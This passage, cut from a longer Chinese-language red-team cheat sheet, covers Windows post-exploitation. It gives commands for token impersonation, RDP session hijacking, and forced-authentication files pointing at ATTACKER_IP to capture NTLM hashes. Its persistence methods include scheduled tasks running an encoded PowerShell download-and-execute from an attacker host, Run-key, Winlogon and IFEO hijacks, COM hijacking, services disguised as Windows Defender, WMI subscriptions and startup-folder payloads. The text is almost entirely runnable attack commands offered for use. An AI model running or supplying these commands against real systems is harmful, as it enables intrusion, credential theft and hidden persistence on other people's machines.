impersonate_token "DOMAIN\\Administrator"# NetExec impersonate 模块
# 枚举可用 Token
netexec smb TARGET -u ADMIN -p PASS -d DOMAIN -M impersonate
# 以指定 Token 执行命令
netexec smb TARGET -u ADMIN -p PASS -d DOMAIN -M impersonate -o TOKEN=2 EXEC=whoami# Cobalt Strike
steal_token PID
# 或创建新 Token
make_token DOMAIN\user password
# 还原
rev2selfRDP Session Hijacking (tscon)
在不知道密码的情况下接管其他用户的 RDP 会话。需要 SYSTEM 权限。仅适用于 Windows Server 2016 及以下。
# 1. 枚举会话
query user
# USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
# >attacker rdp-tcp#5 2 Active . 4/3/2024 10:00
# admin03 rdp-tcp#3 3 Active 5 4/3/2024 09:30
# administrator 4 Disc 1 4/3/2024 08:00
# 2. 以 SYSTEM 权限劫持目标会话
# 方法 A: 通过服务
sc create sesshijack binPath= "cmd.exe /c tscon 3 /dest:rdp-tcp#5"
sc start sesshijack
# 方法 B: 通过 PsExec
psexec -s -i cmd.exe
tscon 3 /dest:rdp-tcp#5
# 方法 C: 通过计划任务
schtasks /create /tn hijack /tr "tscon 3 /dest:rdp-tcp#5" /sc once /st 00:00 /ru SYSTEM
schtasks /run /tn hijack会话状态说明:
Active: 用户正在使用 -- 可劫持 (会踢掉原用户)Disc(Disconnected): 用户已断开但会话保留 -- 可劫持 (最佳目标)
限制: Windows Server 2019+ 已修补,tscon 即使 SYSTEM 权限也需要密码。
清理
# Token 模拟: 结束模拟
rev2self # Cobalt Strike
# 或终止使用窃取 Token 的进程
# RDP 劫持: 删除创建的服务/任务
sc delete sesshijack
schtasks /delete /tn hijack /f---
文件强制持久化
在可写共享中投放特制文件,利用 Windows 自动加载图标/资源的行为,当用户浏览文件夹时触发到攻击者的 SMB 连接,捕获 NTLMv2 哈希或进行中继。
Slinky (.lnk 文件)
# 投放 (在所有可写共享创建隐藏 .lnk 文件)
netexec smb TARGET -u USER -p PASS -d DOMAIN -M slinky -o NAME=.thumbs.db SERVER=ATTACKER_IP
# 清理
netexec smb TARGET -u USER -p PASS -d DOMAIN -M slinky -o NAME=.thumbs.db SERVER=ATTACKER_IP CLEANUP=trueScuffy (.scf 文件)
netexec smb TARGET -u USER -p PASS -d DOMAIN -M scuffy -o NAME=.thumbs.scf SERVER=ATTACKER_IP手动创建:
[Shell]
Command=2
IconFile=\\ATTACKER_IP\share\icon.ico
[Taskbar]
Command=ToggleDesktop.url 文件
[InternetShortcut]
URL=http://intranet.company.com
WorkingDirectory=test
IconFile=\\ATTACKER_IP\%USERNAME%.icon
IconIndex=1desktop.ini
[.ShellClassInfo]
IconResource=\\ATTACKER_IP\share\icon.ico配合捕获
# Responder 捕获哈希
sudo responder -I eth0
# ntlmrelayx 中继
ntlmrelayx.py -tf targets.txt -smb2support清理
# Slinky 自带清理
netexec smb TARGET -u USER -p PASS -d DOMAIN -M slinky -o NAME=.thumbs.db SERVER=ATTACKER_IP CLEANUP=true
# 手动删除
smbclient.py DOMAIN/USER:PASS@TARGET -c "del .thumbs.scf"主机级持久化技术
计划任务
SharPersist
# 编码 PowerShell payload
$str = 'IEX ((new-object net.webclient).downloadstring("http://attacker/a"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
# 创建计划任务 - 每小时触发
SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc BASE64_PAYLOAD" -n "Updater" -m add -o hourly
# 创建计划任务 - 登录触发
SharPersist.exe -t schtask -c "C:\ProgramData\svc.exe" -n "ChromeUpdate" -m add -o logon
# 查看已创建的任务
SharPersist.exe -t schtask -m list
SharPersist.exe -t schtask -m check -n "Updater"SharPersist 参数:
-t持久化类型 (schtask, reg, service, startupfolder)-c执行命令路径-a命令参数-n任务名称-m操作 (add / remove / check / list)-o触发频率 (minute / hourly / daily / logon / onstart)
schtasks 原生命令
# 开机启动 (SYSTEM 权限运行)
schtasks /create /tn "WindowsDefenderUpdate" /tr "C:\Windows\Temp\svc.exe" /sc onlogon /ru SYSTEM /f
# 每 30 分钟执行
schtasks /create /tn "SystemHealthCheck" /tr "C:\Windows\Temp\svc.exe" /sc minute /mo 30 /ru SYSTEM /f
# 每天凌晨 3 点执行
schtasks /create /tn "DiskCleanup" /tr "C:\Windows\Temp\svc.exe" /sc daily /st 03:00 /ru SYSTEM /f
# 系统启动时执行
schtasks /create /tn "BootLoader" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /f
# 验证任务
schtasks /query /tn "WindowsDefenderUpdate" /v /fo listXML 任务定义 (高级)
# 导出已有合法任务作为模板
schtasks /query /tn "MicrosoftEdgeUpdateTaskMachineCore" /xml > template.xml
# 修改 XML 中的 <Exec><Command> 节点指向 payload
# 导入修改后的 XML
schtasks /create /tn "MicrosoftEdgeUpdateTaskMachineUA" /xml modified.xml /f清理
schtasks /delete /tn "WindowsDefenderUpdate" /f
schtasks /delete /tn "SystemHealthCheck" /f
SharPersist.exe -t schtask -n "Updater" -m remove---
注册表自启动
Run / RunOnce 键
# HKCU Run (当前用户,无需管理员)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\ProgramData\updater.exe" /f
# HKCU RunOnce (仅执行一次,执行后自动删除)
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "SetupComplete" /t REG_SZ /d "C:\ProgramData\setup.exe" /f
# HKLM Run (所有用户,需要管理员)
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\ProgramData\updater.exe" /f
# HKLM RunOnce
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "SetupComplete" /t REG_SZ /d "C:\ProgramData\setup.exe" /fWinlogon Shell / Userinit
# Winlogon Shell (替换或追加)
# 默认值: explorer.exe
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, C:\ProgramData\payload.exe" /f
# Userinit (追加)
# 默认值: C:\Windows\system32\userinit.exe,
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe, C:\ProgramData\payload.exe" /f注意: Winlogon 修改影响所有用户登录,修改错误可能导致系统无法登录。务必保留原始值。
Image File Execution Options (IFEO)
# 劫持辅助功能程序 (无需登录即可触发)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# 锁屏界面连按 5 次 Shift 触发 cmd
# 劫持放大镜
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f
# 劫持屏幕键盘
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe" /f清理
# Run 键
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f
# Winlogon (恢复默认值)
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe," /f
# IFEO
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /f
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /f---
COM 劫持
原理
Windows 查找 COM 对象时优先搜索 HKCU,再搜索 HKLM。在 HKCU 中注册同 CLSID 的恶意 DLL,应用加载时即执行攻击者代码。
发现可劫持的 CLSID
# 方法 1: 通过计划任务查找用户级 COM 引用
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks) {
if ($Task.Actions.ClassId -ne $null) {
if ($Task.Triggers.Enabled -eq $true) {
if ($Task.Principal.GroupId -eq "Users") {
Write-Host "Task: $($Task.TaskName) CLSID: $($Task.Actions.ClassId)"
}
}
}
}
# 方法 2: 使用 Process Monitor
# 1. 添加过滤器: Operation = RegOpenKey, Result = NAME NOT FOUND, Path contains InprocServer32
# 2. 观察哪些 HKCU CLSID 查找失败 (可被劫持)常用劫持目标:
{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}- 计划任务触发{BCDE0395-E52F-467C-8E3D-C4579291692E}- MMDeviceEnumerator (音频相关,频繁加载)- Explorer 加载的 Shell Extension CLSID
执行劫持
# 1. 确认 HKCU 中不存在该 CLSID
Get-Item -Path "HKCU:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
# 应报错: Cannot find path
# 2. 确认 HKLM 中存在 (否则不会被加载)
Get-Item -Path "HKLM:\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32"
# 3. 创建 HKCU 劫持项
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\Payloads\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"清理
Remove-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Recurse -Force
# 同时删除落地的 DLL 文件
Remove-Item "C:\Payloads\beacon.dll" -Force---
Windows 服务
创建恶意服务
# sc create (自动启动)
sc create "WindowsDefSvc" binPath= "C:\Windows\legit-svc.exe" start= auto DisplayName= "Windows Defender Update Service"
sc description "WindowsDefSvc" "Provides protection against malware and unwanted software"
sc start "WindowsDefSvc"
# sc create (服务 DLL 形式)
sc create "WinDefAgent" binPath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto
reg add "HKLM\System\CurrentControlSet\Services\WinDefAgent\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "C:\Windows\legit.dll" /f# SharPersist
SharPersist.exe -t service -c "C:\Windows\legit-svc.exe" -n "legit-svc" -m add注意: 服务以 SYSTEM 身份运行,但 SYSTEM 无法进行网络 NTLM 认证。使用 SMB/TCP/DNS 通道而非 HTTP。
清理
sc stop "WindowsDefSvc"
sc delete "WindowsDefSvc"
# 删除二进制
del "C:\Windows\legit-svc.exe"
# 如果用了服务 DLL 形式,还需删除注册表
reg delete "HKLM\System\CurrentControlSet\Services\WinDefAgent" /f---
WMI 事件订阅
WMI 永久事件订阅由三个组件组成,必须全部创建才能生效,也必须全部删除才能彻底清理。
完整 PowerShell 创建
# === 组件 1: EventFilter (触发条件) ===
$FilterArgs = @{
EventNamespace = 'root/cimv2'
Name = 'WindowsUpdateFilter'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $FilterArgs
# === 组件 2: CommandLineEventConsumer (执行动作) ===
$ConsumerArgs = @{
Name = 'WindowsUpdateConsumer'
CommandLineTemplate = 'C:\Windows\Temp\svc.exe'
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $ConsumerArgs
# === 组件 3: FilterToConsumerBinding (绑定关系) ===
$BindingArgs = @{
Filter = $Filter
Consumer = $Consumer
}
Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $BindingArgswmic 创建
# EventFilter
wmic /namespace:"\\root\subscription" path __EventFilter create Name="WinUpdate", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
# CommandLineEventConsumer
wmic /namespace:"\\root\subscription" path CommandLineEventConsumer create Name="WinUpdateConsumer", CommandLineTemplate="C:\Windows\Temp\svc.exe"
# FilterToConsumerBinding
wmic /namespace:"\\root\subscription" path __FilterToConsumerBinding create Filter="__EventFilter.Name=\"WinUpdate\"", Consumer="CommandLineEventConsumer.Name=\"WinUpdateConsumer\""EventFilter 常用查询语法
# 系统启动后 N 秒 (避免杀软启动扫描)
SELECT * FROM __InstanceModificationEvent WITHIN 60
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
AND TargetInstance.SystemUpTime >= 240
# 特定进程启动时
SELECT * FROM __InstanceCreationEvent WITHIN 5
WHERE TargetInstance ISA 'Win32_Process'
AND TargetInstance.Name = 'explorer.exe'
# 用户登录时
SELECT * FROM __InstanceCreationEvent WITHIN 15
WHERE TargetInstance ISA 'Win32_LogonSession'
AND TargetInstance.LogonType = 2
# 定时触发 (每 10 分钟)
SELECT * FROM __InstanceModificationEvent WITHIN 600
WHERE TargetInstance ISA 'Win32_LocalTime'
AND TargetInstance.Minute = 0PowerLurk 快捷方式
Import-Module .\PowerLurk.ps1
# 进程启动触发
Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "C:\Windows\artifact.exe" -Trigger ProcessStart -ProcessName notepad.exe
# 定时触发
Register-MaliciousWmiEvent -EventName WmiTimer -PermanentCommand "C:\Windows\artifact.exe" -Trigger Interval -IntervalPeriod 3600
# 查看事件
Get-WmiEvent -Name WmiBackdoor清理 (必须删除全部三个组件)
# 查看所有 WMI 订阅
Get-WmiObject -Namespace root/subscription -Class __EventFilter
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
# 删除指定订阅
Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name='WindowsUpdateFilter'" | Remove-WmiObject
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name='WindowsUpdateConsumer'" | Remove-WmiObject
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding | Where-Object {$_.Filter -like '*WindowsUpdateFilter*'} | Remove-WmiObject
# PowerLurk 清理
Get-WmiEvent -Name WmiBackdoor | Remove-WmiObject---
启动文件夹
路径
当前用户:
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
所有用户 (需管理员):
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup创建
# 直接复制可执行文件
copy C:\Payloads\beacon.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe"
# 创建 LNK 快捷方式 (更隐蔽)
$WshShell = New-Object -ComObject WScript.Shell
$lnk = $WshShell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\updater.lnk")
$lnk.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$lnk.Arguments = "-nop -w hidden -enc BASE64_PAYLOAD"
$lnk.IconLocation = "C:\Windows\System32\shell32.dll,21"
$lnk.Save()
# SharPersist
SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc BASE64_PAYLOAD" -f "UserEnvSetup" -m add清理
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe" -Force
Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\updater.lnk" -Force
Remove-Item "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\updater.exe" -Force